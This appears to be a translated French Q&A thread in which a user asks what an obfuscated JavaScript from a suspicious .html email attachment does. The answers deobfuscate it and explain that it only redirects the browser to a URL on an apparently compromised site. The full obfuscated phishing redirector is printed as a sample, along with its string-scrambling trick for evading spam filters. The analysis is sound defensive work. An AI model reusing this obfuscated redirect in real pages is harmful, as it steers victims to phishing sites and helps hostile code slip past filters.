Que fait ce code d'hameçonnage suspect?

Quelques-uns de mes collègues non-IT ont ouvert une pièce jointe .html dans un message électronique qui semble extrêmement méfiant. Il en a résulté un écran vide lorsqu'il apparaît que certains codes javascript ont été exécutés.

<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> 

Qu'a-t-il fait? C'est au-delà de la portée de mes connaissances en programmation.

Il redirige vers une URL, ' http://lendermedia.com/images/z.htm ' (suivez-le à vos risques et périls).

Copiez et collez le code dans un éditeur de JavaScript digne et faites-le formater la source pour vous.

Points clés:

 var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, ''); 

h sera égal à ' http://lendermedia.com/images/z.htm '

 t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')]; 

t contiendra une référence à document.location

 b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h; 

La propriété nommée href de b , qui à ce point (dans une autre fonction) est vraiment t de l'énoncé ci-dessus, est définie sur h , qui est l'url.

La plupart du code est un simple bruit, la fonctionnalité actuelle se compose de ceci:

 function uK() { }; uK.prototype = { f : function() { var h = 'hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^' .replace(/[\^H\!9X]/g, ''); t = document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')]; function x(b) { b['hIrBeTf.'.replace(/[\.BTAI]/g, '')] = h; } x(t); } }; var tL = new uK(); tL.f(); 

J'ai rencontré le même problème, puis j'ai trouvé cette page. Après avoir fait un WHOIS pour les informations de contact, j'ai contacté le propriétaire de lendermedia.com, qui semblait juste découvrir que son site héberge la page z.htm sans ses connaissances et contre ses souhaits. Au moment où je l'ai contacté, j'ai pu parcourir son répertoire /images/ . Il a depuis changé les autorisations. Tout cela pour dire qu'il semble que ce gars soit propre, mais c'est à vous de décider.

Moins l'obfuscation, il fait quelque chose comme document.location.href="http://lendermedia.com/images/z.htm"

La partie clé pour comprendre ce code est les parties de replace(/[\^H\!9X]/g, '') . Si le 2ème argument pour le remplacement est '' , alors il ne s'agit que de supprimer des éléments de la chaîne précédente.

Une manière vraiment inelegante d'obscurcir les choses. Probablement l'objectif est juste d'être aléatoire pour chaque utilisateur et d'éviter les filtres anti-spam Bayesian.